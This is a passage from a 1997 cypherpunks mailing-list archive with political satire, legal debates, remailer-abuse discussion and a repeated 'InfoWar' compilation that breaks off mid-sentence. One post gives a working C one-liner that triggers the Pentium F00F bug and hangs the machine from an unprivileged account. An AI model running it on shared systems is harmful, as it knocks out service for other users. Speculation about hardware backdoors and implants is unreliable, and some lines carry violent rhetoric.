	a week's supply at the government-run pharmacy. 
Even worse, the wonder drug that was supposed to be able to treat 
	that nasty rash on his private parts has been recalled
	because, although effective at removing herpes, it had the 
	unfortunate side effect of causing male reproductive organs to 
	shrivel up and fall off. 
Labeled "Lorena's Solution" by the press, several lawsuits are now pending.
	A spokesman for Cure My Willy LLC, had no comment.
'There's nothing more I can do except refer you to a qualified counselor."
	Johnny's assigned doctor said.

Something's wrong.
Johnny's depressed.
Life is tough these days what with all the drug-dealing gun-toting 
	money-laundering anonymous-remailing cash-using message-encrypting 
	mean-spirited insensitively-polluting insufficiently-contributing 
	pornography-consuming tax-evading conspiracy-theorizing 
	uncompassionate-hateful-moral-values-imposing 
	constitutionalist-reactionary-isolationist-survivalist 
	bomb-building-fertilizer-buying right-wing-fanatical terrorist cells
	running around out there tormenting Johnny and posing a threat to 
	all the other little children we must protect from harm.
Johnny's mommy is upset. It's not supposed to be this dangerous living in a
	social democracy like ours. Johnny's mommy decides to get involved. She forms
	She forms M.A.E.D.; Mothers Against Everything Dangerous.
Johnny's mommy is empowered now. Journalists quote her as an authoritative
	source when they write their stories. MAED is getting laws passed.
	Good things are happening.
But something's still wrong.
Johnny's still depressed. What could it be? He won't talk to me about it.
Johnny's mommy is frantic, she does what any decent responsible parent would
	do under the circumstances, Johnny's mommy e-mails her congressman:
NONE OF US ARE SAFE. DO SOMETHING. ANYTHING. MAKE IT GO AWAY! NOW!!!!

Johnny's therapist knows what's wrong with him.
He knows just what Johnny needs.
But lobotomies are not politically-correct.
So we'll put Johnny on Shitalin.
Johnny can cope now.
Ahhh, isn't Johnny adorable? Look how calm he is.

Johnny's goverment thinks Johnny is a model citizen. They'll pay for the 
Shitalin. Poorzac, too, if he wants it. No waiting list for those drugs.
Everyone knows we must all give up our freedom to protect The Children.
Anything for the Children. Like Johnny. We must make sacrifices jor Johnny.
There is too much freedom. And not enough protection for The Children.
If we don't do something now what does the future hold for all the Children?
Children are our most precious resource. The Children are the future.
Like Johnny... We can save them. Join MAED now won't you...

- -----END TERRORIST PLAINTEXT MUNITION MESSAGE-----

	(c) Copyright November 1997-2067 Jo Min Ivan. All Rights Reserved.

This touching bit of agitprop brought to you by:

POL POT CHUCK & Associates

"Exterminating the unarmed, socialist intelligentsia since 1917."

Pol Pot Chuck sayz:
Learn how to plant evidence, explosives and informants: Support your local
	N.G.O.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 08:54:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bell vs. Woodward--justice?
Message-ID: <199711110037.BAA02171@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



rab@stallion.oz.au wrote:
> Tim May wrote:
> > The au pair Louise Woodward will serve less time in jail than Jim Bell
> > will. While Bell languishes in a Washington state jail, awaiting (for
> > almost 7 months!!) his sentence, the convicted babykiller is now free.
> >
> > I guess having a couple of fake SS tattoos, er, "numbers," and
> > possibly opening a vial of mercaptin where some people would smell it,
> > is a more serious crime than shaking a baby to death.

> Here in Australia the media has been giving this trial regular coverage
> with the spin "Innocent English Person Wrongly Found Guilty by US Jury".
> The coverage led me to believe that despite scientific evidence to  the
> contrary the jury found Woodward guilty.  One other point from the
> coverage was that Woodward represented herself for at least some part of
> the trial, did Jim Bell do this too?

It was apparent to many Canadians that the au pair would be found guilty
of having 'traditional British Reserve.' The American system of justice
is nothing more than a dog-and-pony show, particularly in hi-profile
cases. The dumb British kid was under some mistaken impression that
the trial would be based on facts.

The prosecution could have mounted as good or better a case against
the child's parents. (Two physicians that don't notice that their child
has suffered a fractured wrist and skull? No wonder they were so hot
to have the girl convicted.)
The Judge knows damn well that reasonable doubt was visibly established,
and I suspect he's trying to get everyone out of the mess as quickly
and easily as possible. 

Bell's case is different. He was villainized within the court system
and there was little chance of it going to trial, unless he managed
to find an attorney who never wanted to win another case.
Bell's public defender turned down outside offeres of assistance from
veteran attorneys, and Bell was kept under wraps.
My guess is that Bell was the first Cypherpunk to receive the coming
digital implants.

MongerUnit #2347





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 09:15:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
Message-ID: <199711110101.CAA05203@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Paul Bradley" <csm70830@port.ac.uk> wrote:

> > >This require no special permissions to run, it works fine with
> > >average-joe-userspace permissions. I have verified this, it works.
> > >Demand a new CPU from Intel.
> >
> > This didn't crash my Pentium.  Hoax?
> 
> No way, this P200 croaked instantly the code was run, in the wrong
> hands this has serious network takedown potential.

The bug is a race condition in the L1 cache, so it doesn't always crash
when executing this, just sometimes.  It depends on what's in the cache.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 10:48:59 +0800
To: cypherpunks@toad.com
Subject: Re: Bell vs. Woodward--justice?
Message-ID: <199711110231.DAA17119@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



MongerUnit #2347 writes:

>It was apparent to many Canadians that the au pair would be found guilty
>of having 'traditional British Reserve.' The American system of justice
>is nothing more than a dog-and-pony show, particularly in hi-profile
>cases. The dumb British kid was under some mistaken impression that
>the trial would be based on facts.

No doubt their decision to hire Barry Scheck was based on his quiet, gentle
demeanor in front of a jury.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 12 Nov 1997 21:31:51 +0800
To: cypherpunks@Algebra.COM
Subject: Minor Language Note
Message-ID: <199711121323.HAA28678@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>My main point was that James Dalton Bell has already spent nearly 7
>months in jail, and has yet to even be sentenced.

While it was not Tim's intention to make Jim look like a criminal, the
use of a defendent's full name is often used to connote criminality.

Lee Harvey Oswald, John Wilkes Booth, John Wayne Gacy, Richard Milhous
Nixon, William Jefferson Clinton... there are many examples.

I propose we call Jim by the name he calls himself: Jim Bell.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 12 Nov 1997 21:32:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Databasix conspiracy theories
Message-ID: <199711121324.HAA28802@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <anon@anon.efga.org> wrote:
>My point being that a remailer operator has no way of knowing what
>the ultimate effect of *any* filtering/blocking will be. (Unless you
>read all of the email, like I do as the 'Bad Remailer' operator.)

If you are going to run a remailer, you had better expect that some of
the people who use it aren't going to be your friends.

>It has been my experience that the 'Fear of Spam/Abuse' is beginning
>to be the controlling factor in the usefulness, or lack thereof, of
>an increasing number of remailers.

And this has to be the lowest pressure attack on remailers that there
can be.  God forbid anybody should try for real to shut down the
remailer network.

This is understandable - running a remailer offers little tangible
reward.

On the other hand, if somebody were making $500,000 a year running a
remailer, they might defend it a little more vigorously.  And, if they
didn't, somebody in the Carribbean might be happy to snap up the
business.

>I cannot help but feel that there has to be some simple ways of
>addressing the spam/abuse issue without making the remailers a hit
>and miss proposition for the average computer user.

Here are two simple solutions: 1. charge hashcash 2. charge ecash.

This eliminates the spam problem.  It would probably reduce the
harrassment problem as well.

>e.g. - A stated policy of allowing only 'X' number of emails from the
>same address/ISP per day--UCE spammers *could* work around this, but
>they make money by speed and volume, not by farting around with
>this-and-that.

This is not a good idea.  I like being able to pump a few megabytes a
day through the remailer network to create cover traffic.  Right now
this would be an act of bad citizenship.

But, if we were paying for remailer usage it would be a good thing.
Good for me, good for the businesses I patronize.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Spelvin <gs@dev.null>
Date: Tue, 11 Nov 1997 20:38:58 +0800
To: cypherpunks@toad.com
Subject: InforWar Epilogue 9 / Geigerburg Text
Message-ID: <34684CDF.1503@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * M$ Cowboy

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

The Criminalization of Poverty in Capitalist America by Jalil Abdul Muntaqim

                                 (Excerpts)

An anonymous poet in the 1700's wrote about crime: "The law will punish a
man or woman who steals the goose from the hillside, but lets the greater
robber loose who steals the hillside from the goose."
If you steal $5 you're a thief, but if you steal $5 million-you're a
financier .

In the dictionary, the word "crime" means "an act which is against the law."
Crime applies particularly to an act that breaks a law that has been made
for public good. Crime in one country, the dictionary continued, "may be
entirely overlooked by the law in another country or may not apply at all in
a different historical period."

That was interesting. What that really said was that concepts of "crime" are
not eternal. The very nature of crime is sociopsychological and defined by
time and place and those who have the power to make definitions.
----------------------------------------------------------------------------

"The language of the prevailing Law and Order, validated by the courts and
by the police, is not only the voice but also the deed of suppression. This
language not only defines and condemns the Enemy, it also creates him; and
this creation is not the Enemy as he really is but rather as he must be in
order to perform his function for the Establishment..."
-Herbert Marcuse
----------------------------------------------------------------------------

Hence the power to define is an awesome power. It is the power of
propaganda. It is the ability to manipulate our ideas, to limit our agenda,
to mold how we see, and to shape what we look at. It is the power to
interpret the picture we see when we look at the world ...

It is the power to place the picture we see when we look at the world. It is
the power to place a frame around the picture, to define where it begins and
ends. It is, in fact, the power to define where our vision begins and ends,
the power to create our collective consciousness.

That kind of social propaganda is not only tremendously powerful, but it is
also mostly invisible.
{We can't fight what we don't see. Most people accept the images and
definitions that we have been taught as true, neutral, self-evident, and for
always.}
The power to paint the future, to define what is right and wrong, what is
lawful and what is criminal, is really the power to win the battle for our
minds.
{And to win it without ever having to fight it. Simply said, it is hard to
fight an enemy who has an outpost in our minds.}
----------------------------------------------------------------------------

Since 1977, when California had 19,000 inmates in its prison system, the
California Legislature has passed more than 1,000 bills lengthening
sentences or defining new crimes, often in response to high-profile
offenders such as Davis. The result has been a more-than-sixfold increase to
today's population of 126,000. Between 1852 and 1984, California built 12
prisons. Since just 1984, California has constructed an additional 16
prisons.

But during the decade and a half that imprisonment was soaring, the crime
rate in California has stubbornly refused to budge, hovering today at
approximately the 1977 rate. Indeed, during 1993 and the first half of 1994,
the rate of both violent and property crime actually fell while public fear
of crime inexplicably rose.

A study by the Center for Media and Public Affairs in Washington, D.C.,
suggests one possible reason for such a paradox. The study shows that, while
the murder rate nationally remained stable between 1992 and 1993, the number
of homicides reported on the evening news of the nation's three major
networks tripled. Not surprisingly, the report continues, from May 1992 to
February 1993, there was a sixfold increase in the number of Americans who
rated crime as the country's most important problem.

-Three Strikes
----------------------------------------------------------------------------

The Social Dynamics of Crime

In the March 12, 1993, issue of the Wall Street Journal an article entitled
"Common Criminals-Just About Everyone Violates Some Laws, Even Model
Citizens," byline by Stephen J. Adler and Wade Lambert stated:
"We are a nation of lawbreakers. We exaggerate tax-deductible expenses, lie
to customs officials, bet on card games and sports events, disregard jury
notices, drive while intoxicated --and hire illegal childcare workers."

The last of these was recently the crime of the moment, and Janet Reno
wouldn't have been in the position to be confirmed unanimously as attorney
general yesterday if Zoe Baird had obeyed the much-flouted immigration and
tax laws.
But the crime of the moment could have been something else, and next time
probably will be.

This is because nearly all people violate some laws, and many people run
afoul of dozens without ever being considered, or considering themselves,
criminals.
----------------------------------------------------------------------------

An estimated 1,585,400 persons were incarcerated in the United States in
1995. Correctional authorities held in the Nation's prisons and jails 600
persons per 100,000 U.S. residents.
Prisoners in the custody of the 50 States, the District of Columbia, and the
Federal Government accounted for two-thirds of the incarcerated population
(1,078,357 inmates). The other third was held in local jails (507,044
inmates).
----------------------------------------------------------------------------

In America, in the l990s, as was the case in England in the 1800s, it is a
crime to be poor. The poorer you are, the more criminal you are. If you are
so poor that you have no place to live, and you live on the pavement or
sleep in a car or in a park, you have committed a crime. It's against the
law to sleep on the streets or in a park. If we have no home, it's against
the law to sleep anywhere.

The Prison-Industrial Complex

Crime is big Business

The political decisions of the bankers are decisions about who will be poor.
Corporate decisions made in the late '50s to remove industry from
communities of color were about who would be unemployed. Decisions by
developers and bankers about redevelopment (redlining and gentrification)
are decisions about who will be homeless. Such decisions affect everyone,
but people have no say in the matter. Generally people, especially the poor,
have no say in most social and economic decisions that affect their lives.
Somehow that is not part of the democratic method of government, and because
people have no say in the process, creating homelessness is not criminal,
but being homeless is.
----------------------------------------------------------------------------

"Membership in the class of people known as 'law-breakers' is not
distributed according to economic or social status, but membership in the
class 'criminals' is distributed according to social or economic status..."
- Professor Theodore Sarbin
----------------------------------------------------------------------------

Hunger and homelessness are deliberately imposed socioeconomic conditions of
the disenfranchised large numbers of the American population. This is
especially significant when consideration is given to the method and means
by which the malfeasance of the powers that be operate to ensure that such
conditions stay the same. Thus such pathology ensures the rich get richer,
while the poor get prison and early death.
----------------------------------------------------------------------------

   * Since 1985 the total number of inmates in the custody of State
     and Federal prisons and local jails has more than doubled to
     nearly 1.6 million -- an increase of 113%.
   * * On average, the incarcerated population has grown 7.9% annually
     since 1985. The State and Federal prison population has grown
     8.3% annually, while the local jail population has grown 7.0%.
   * * Over the 10-year period correctional authorities have found
     beds for nearly 841,200 additional inmates or the equivalent of
     almost 1,618 inmates per week.
   * * At yearend 1985, 1 in every 320 United States residents were
     incarcerated. By yearend 1995 that ratio had increased to 1 in
     every 167.

-PIAP
----------------------------------------------------------------------------

Max Weber held that social stratification depends on the distribution of
three resources: wealth (economic resources), power (political resources),
and prestige (social resources).

We are able to determine the social and racial implications of certain
classes, then, having a vested interest in crime. It can be argued that
because an elite class of criminals is in charge, they commit capital
crimes, crimes against society and humanity. The jails are overflowing, but
that doesn't seem to help --because the real criminals aren't in jail.
They're in the board rooms and in the White House. They are the social
policy makers that run this country. And today, they are increasing social
repression by building more prisons, creating harsher legal sanctions (i.e.
52 death penalty laws, three strikes you're out), and becoming ever more
heedless to the social implications of poverty as an impetus to committing
crime.

Under their misleadership, over five million people are homeless, 37 million
have no health insurance, 30 million are illiterate, 30 million more are
functionally illiterate, one million are incarcerated, and 60 million live
in poverty and are struggling day to day.

Crime is big business in America. Annually the laws are changed to ensure
profitability in the industry of crime. Social conditions that serve to
maintain levels of poverty, feed the industry of crime, also put stress on
the social stratification's of society.
----------------------------------------------------------------------------

Within the current processes of economic globalization, the establishment of
the Joint Venture Program has opened California prisoners to be used as a
new labor supply and to be manipulated within the world economy to meet the
interests of transnational corporations. Within the global economy, the
United States is becoming an increasingly service-based economy, and many of
the manufacturing and textile jobs prisoners are supposedly being trained
for don't even exist here anymore. Economic globalization has completely
altered the relationship between capital and labor that existed within the
economy of this capitalist nation-state, where massive increases in
incarceration directed at working-class communities and communities of color
would formerly have interfered with the interest of many corporations by
diminishing the labor pool. The hypermobility of capital has created an
economic setting that allows for mass incarceration, because there is no
longer a strong economic need for a large, free, unskilled, unemployed
population of workers in this country. [27] Capital can easily expand its
supply of labor to include any exploitable population of workers throughout
the world, including incarcerated workers.

The Labor of Doing Time
----------------------------------------------------------------------------

Given the fact that America is a nation of criminals as elucidated in the
Wall Street Journal article, social conflict is inevitable. It then becomes
a matter of identifying the real culprits of crime, and seeking the means to
have them become accountable for their criminal behavior. This may very well
include the redistribution of their wealth, and the reorganization of the
social contract between the government and the governed.

In response to the stratification outlined above, it requires revolutionary
nationalist and socialist efforts to formulate a national political agenda
and policy that will challenge the prevailing social contract between the
oppressed and the oppressor nation. This means revolutionary nationalists
and socialists must have a clear and concise mass-line and political program
that identifies and explains the nature of poor peoples' oppression, and how
they are to be organized to confront their oppression.
----------------------------------------------------------------------------

"There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key grabbers is warranted: 'Death to Tyrants!'"
-Timothy C. May
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                 M$ Cowboy

[Estevan Mercury, Oct 22, 1997] It's just like advancing to the NHL of the
computer world.
That was the comparison used by Jeff Sandquist to describe his new job with
Microsoft, one of the giants of the computer industry, right in their
Redmond, Washington campus headquarters.

Sandquist will be leaving his position at SRI Homes (Shelter-Regent
Industries) where he has been a design technologist for the past four years,
and will hook up with like-minded individuals in Redmond to serve big
industry.

"I guess I am now a developer support engineer," he said with a chuckle.
"I wanted this job because I get to work with cool stuff a year before the
public gets to see it." Sandquist said with another laugh.
He said one of his teammates is the author of the Inside Active Server
Pages, one of the more recent bibles of computerdom. Sandquist explained
that active server technology is relatively new to industry and the public.

"I can't believe I'm getting this shot," he said.

Sandquist starts work at Microsoft on November 3. He'll believe it then.

                        (by NORM PARK of The Mercury)
----------------------------------------------------------------------------

CJ brought Shelter into the 'Wonderful World of Computers' but he did it in
Xenix, not in DOS. DOS is a nice, simple computer operating system that will
work fairly well for the uninitiated without giving them a lot of grief.
It's fairly primitive, but one can do a tolerably decent job of conducting
their affairs in bits and bytes without having to worry about the dark side
of their new hi-tech/toy-nology.
-Excerpt from "The Xenix Chainsaw Massacre"
----------------------------------------------------------------------------

Subject: Sloppy Chips from Intel
From: Eric Cordian <emc@wire.insync.net>
To: cypherpunks@cyberpass.net

By now everyone has probably heard that Intel Pentium and Pentium MMX chips
hang when executing the instruction sequence F00FC7C8 even when in an outer
ring of privilege or in V86 mode.

With numerous small Linux-based ISPs out there, often providing shell
services to anonymous customers, or serving customer-provided CGI programs,
the existence and public disclosure such an easily exploitable flaw in their
CPU's hardware protection mechanism is catastrophic.
...
While today's problem does not permit clandestine entry into a system, since
it kills the system when it is exercised, it does raise the question of
whether there are other more subtle problems in the hardware protection
mechanism, which might enable knowledgeable users to execute an occasional
instruction at the wrong privilege level, or otherwise do things which
should be prohibited according to the published hardware specifications.
...
Buggy microprocessor microcode can produce very subtle exploitable faults in
a chip, which are almost impossible to notice when running ordinary
applications and operating systems. Instructions may do the wrong thing only
when they follow certain other instructions. There may be rare times when
the processor is wrongly interruptible, or when a restricted instruction is
not forbidden, or is given access at the wrong privilege level, or with
incorrect address translation.

Were such features to be deliberately introduced into a chip, in order to
permit a backdoor for undetected entry, they could be made completely
undetectable, and could depend upon any number of unlikely conditions, or
even specific hidden register values, in order to be made manifest. Every
microprocessor could even have its own "key" for the activation of such
"special features."

Unlike UNIX, for which complete compileable source code is available, we
know little about what microcode is run through the several million
transistors on a typical microprocessor. If sloppy engineering alone
produces such dangerous faults, imagine what could happen should industry
decide to deliberately cooperate with various LEAs and TLAs. (In the
national interest, of course.)

The possibilities are truly mind-boggling. Perhaps exploits like tapping
Aldrich Ames' PC and crashing Saddam Hussein's PCs en masse were not done by
black bag jobs and viri, but by the activation of "National Security"
backdoors present in all complex modern microprocessors.

   * Eric Michael Cordian 0+
     O:.T:.O:. Mathematical Munitions Division
     "Do What Thou Wilt Shall Be The Whole Of The Law"

----------------------------------------------------------------------------

"I am chaos. I am the substance from which your artists and scientists build
rhythms. I am the spirit with which your children and clowns laugh in happy
anarchy. I am chaos. I am alive., and tell you that you are free"

-Eris, Goddess Of Chaos, Discord & Confusion
----------------------------------------------------------------------------

Subject:
From: Anonymous <anon@anon.efga.org>
To: cypherpunks@cyberpass.net

In the grand tradition of RSA-in-3-lines-of-perl, we present
Crash-A-Pentium-in-44-characters:

main(){int i=0xc8c70ff0;void (*f)()=&i;f();}

-f00fie
----------------------------------------------------------------------------

Subject: pentium bug/microprocessor design
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
To: cypherpunks@cyberpass.net

For those of you who don't know, there's actually a minor crisis brewing in
chip design.

The crisis is that because of the enormous increasing complexity of
individual chips, it's becoming statistically impossible to completely test
them.

There are new schemes in the works by which Intel etc. are trying to deal
with this, including a remarkable scheme in which new microcode can be
downloaded to the chip. it also involves encryption in which one needs to
know the encryption mechanism for the chip to accept the new instructions.
apparently it's done in such a way that no one except those who know the
encryption can successfully alter the chip.

But this does raise a lot of cypherpunks issues such as about reverse
engineering etc.
----------------------------------------------------------------------------

Subject: A.Word.A.Day - vomitorium
From: Wordsmith <wsmith@wordsmith.org>
To: linguaphile@wordsmith.org

vo.mi.to.ri.um n. A passage or opening in an ancient amphitheatre or
theatre, leading to or from the seats. Usu. pl.

1754 Dictionary of Arts & Sciences. I. 129/2
"They were entered by avenues, at the end of which were gates, called
vomitoria."
----------------------------------------------------------------------------

"Programmers are the unifying force that supply the energy enabling two
separate and unique components, hardware and software, to have a
relationship that is capable of productivity and growth. A marriage of
matter that could spawn and produce a multitude of children to go forth and
do many new things in the world, for better or worse, for good or for evil."

"You are society's last hope for thwarting the Forces of Evil gearing up for
the final battle, readying themselves to wreak grievous havoc upon the
world, such that it has never known. It is up to you to 'raise the torch,'
and let the 'light of knowledge' spread throughout the civilized world, in
the thread of 'clues' scattered throughout the UNIX operating system, and
throughout your programming and your instructions."

"You must band together, man and woman, young and old, into a 'Magic Circle'
for your own protection from the Forces of Darkness! You must develop your
own secret codes and rituals to deal with the Evil Forces which will beset
you daily once you set foot on the Path of Righteousness."
-Bubba Rom Dos
----------------------------------------------------------------------------

[Not-News NetWork-- Mohave Desert] Aug 4/97

WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE? - sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
early yesterday morning by a rag-tag bunch of paramilitarist computer
gurus who unveiled an InterNet Bill of Bytes that included the words,
"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates who
have announced their intention to seize fascist control of the quickly
burgeoning Information Highway by controlling the definition of all
information, the rebels set up a shooting range which contained a wide
variety of targets ranging from copies of the Wall Street Journal to
life-sized cardboard cut-outs of a hooded figure referred to only as,
"a billionaire to be named later."
...

"We have decided on two classes of ratings." explained a tassel-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and off."
----------------------------------------------------------------------------

[Estevan Mercury, Oct 22, 1997] ...
Sandquist will be leaving his position at SRI Homes (Shelter-Regent
Industries) where he has been a design technologist for the past four years,
and will hook up with like-minded individuals in Redmond to serve big
industry.
...

He said one of his teammates is the author of the Inside Active Server
Pages, one of the more recent bibles of computerdom. Sandquist explained
that active server technology is relatively new to industry and the public.

"I can't believe I'm getting this shot," he said.
...
"I can't believe I'm getting this shot," he said.
...
"I can't believe I'm getting this SHOT," he said.
----------------------------------------------------------------------------

Subject: A.Word.A.Day - vomitorium
From: Wordsmith <wsmith@wordsmith.org>
To: linguaphile@wordsmith.org

vo.mi.to.ri.um n. A passage or opening in an ancient amphitheatre or
theatre, leading to or from the seats. Usu. pl.

1754 Dictionary of Arts & Sciences. I. 129/2
"They were entered by avenues, at the end of which were GATES, called
vomitoria."
----------------------------------------------------------------------------

Once again the Forces of Good have been forced underground, faced with
incredulity and disbelief when they try to reveal to mankind that the Evil
One is once again afoot in the land, making His plans for the Final Battle.
The 'Circle of Eunuchs' find themselves working feverishly to rebuild a
silent underground dedicated to enlightening those few that are willing to
listen to the Whisper of Light that is being overwhelmed by the Roar of
Darkness.
~son of gomez
----------------------------------------------------------------------------

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for good
and ill... yet basically an intellectual construct, an idea, which by its
nature will resist efforts to restrict it to bureaucrats and others who deem
only themselves worthy of such Privilege."
A thinking man's Creed for Crypto/ vbm.

   * Vin McLellan + The Privacy Guild + <vin@shore.net>

----------------------------------------------------------------------------

Now the Circle of Eunuchs discover themselves locked in a covert battle with
Forces that have railed against mankind for Millenniums, facing the
disbelief and terror of others in their efforts to enlighten mankind about
the Evil Forces once again massing throughout the world in a chilling
endeavor to bring us to our ultimate destruction.

While we sleep our way through our daily lives, in unawareness, the Movement
is spreading through Secret Circles spanning the face of the globe, helping
to prepare mankind for the Final Battle.
~son of gomez
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Spelvin <gs@dev.null>
Date: Tue, 11 Nov 1997 20:40:49 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 9 (Part III of 'The True Story of the InterNet')
Message-ID: <34684D9A.1F02@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
M$ Cowboy


Epilogue


The Criminalization of Poverty in Capitalist America by Jalil Abdul Muntaqim 

(Excerpts)

An anonymous poet in the 1700's wrote about crime: "The
law will punish a man or woman who steals the goose from the hillside,
but lets the greater robber loose who steals the hillside from
the goose." 
If you steal $5 you're a thief, but if you steal $5 million-you're
a financier . 

In the dictionary, the word "crime" means "an
act which is against the law." Crime applies particularly
to an act that breaks a law that has been made for public good.
Crime in one country, the dictionary continued, "may be
entirely overlooked by the law in another country or may not apply
at all in a different historical period." 

That was interesting. What that really said was that concepts
of "crime" are not eternal. The very nature of crime
is sociopsychological and defined by time and place and those
who have the power to make definitions.


"The language of the prevailing Law and Order, validated
by the courts and by the police, is not only the voice but also
the deed of suppression. This language not only defines and condemns
the Enemy, it also creates him; and this creation is not the Enemy
as he really is but rather as he must be in order to perform his
function for the Establishment..."
-Herbert Marcuse


Hence the power to define is an awesome power. It is the power
of propaganda. It is the ability to manipulate our ideas, to limit
our agenda, to mold how we see, and to shape what we look at.
It is the power to interpret the picture we see when we look at
the world ...

It is the power to place the picture we see when we look at
the world. It is the power to place a frame around the picture,
to define where it begins and ends. It is, in fact, the power
to define where our vision begins and ends, the power to create
our collective consciousness. 

That kind of social propaganda is not only tremendously powerful,
but it is also mostly invisible. 
{We can't fight what we don't see. Most people accept the images
and definitions that we have been taught as true, neutral, self-evident,
and for always.}
The power to paint the future, to define what is right
and wrong, what is lawful and what is criminal, is really the
power to win the battle for our minds.
{And to win it without ever having to fight it. Simply
said, it is hard to fight an enemy who has an outpost in our minds.}



Since 1977, when California had 19,000 inmates in its prison
system, the California Legislature has passed more than 1,000
bills lengthening sentences or defining new crimes, often in response
to high-profile offenders such as Davis. The result has been a
more-than-sixfold increase to today's population of 126,000. Between
1852 and 1984, California built 12 prisons. Since just 1984, California
has constructed an additional 16 prisons.

But during the decade and a half that imprisonment was soaring,
the crime rate in California has stubbornly refused to budge,
hovering today at approximately the 1977 rate. Indeed, during
1993 and the first half of 1994, the rate of both violent and
property crime actually fell while public fear of crime inexplicably
rose. 

A study by the Center for Media and Public Affairs in Washington,
D.C., suggests one possible reason for such a paradox. The study
shows that, while the murder rate nationally remained stable
between 1992 and 1993, the number of homicides reported on the
evening news of the nation's three major networks tripled.
Not surprisingly, the report continues, from May 1992 to February
1993, there was a sixfold increase in the number of Americans
who rated crime as the country's most important problem. 

-Three Strikes


The Social Dynamics of Crime

In the March 12, 1993, issue of the Wall Street Journal an article
entitled "Common Criminals-Just About Everyone Violates Some
Laws, Even Model Citizens," byline by Stephen J. Adler and
Wade Lambert stated: 
"We are a nation of lawbreakers. We exaggerate tax-deductible
expenses, lie to customs officials, bet on card games and sports
events, disregard jury notices, drive while intoxicated --and
hire illegal childcare workers."

The last of these was recently the crime of the moment, and Janet
Reno wouldn't have been in the position to be confirmed unanimously
as attorney general yesterday if Zoe Baird had obeyed the much-flouted
immigration and tax laws. 
But the crime of the moment could have been something else,
and next time probably will be.

This is because nearly all people violate some laws, and many
people run afoul of dozens without ever being considered, or considering
themselves, criminals.


An estimated 1,585,400 persons were incarcerated in the United
States in 1995. Correctional authorities held in the Nation's
prisons and jails 600 persons per 100,000 U.S. residents.
Prisoners in the custody of the 50 States, the District of Columbia,
and the Federal Government accounted for two-thirds of the incarcerated
population (1,078,357 inmates). The other third was held in local
jails (507,044 inmates).


In America, in the l990s, as was the case in England in the 1800s,
it is a crime to be poor. The poorer you are, the more criminal
you are. If you are so poor that you have no place to live, and
you live on the pavement or sleep in a car or in a park, you have
committed a crime. It's against the law to sleep on the streets
or in a park. If we have no home, it's against the law to sleep
anywhere.

The Prison-Industrial Complex

Crime is big Business 

The political decisions of the bankers are decisions about who
will be poor. Corporate decisions made in the late '50s to remove
industry from communities of color were about who would be unemployed.
Decisions by developers and bankers about redevelopment (redlining
and gentrification) are decisions about who will be homeless.
Such decisions affect everyone, but people have no say in the
matter. Generally people, especially the poor, have no say in
most social and economic decisions that affect their lives. Somehow
that is not part of the democratic method of government, and because
people have no say in the process, creating homelessness is not
criminal, but being homeless is. 


"Membership in the class of people known as 'law-breakers'
is not distributed according to economic or social status, but
membership in the class 'criminals' is distributed according to
social or economic status..."
- Professor Theodore Sarbin 


Hunger and homelessness are deliberately imposed socioeconomic
conditions of the disenfranchised large numbers of the American
population. This is especially significant when consideration
is given to the method and means by which the malfeasance of the
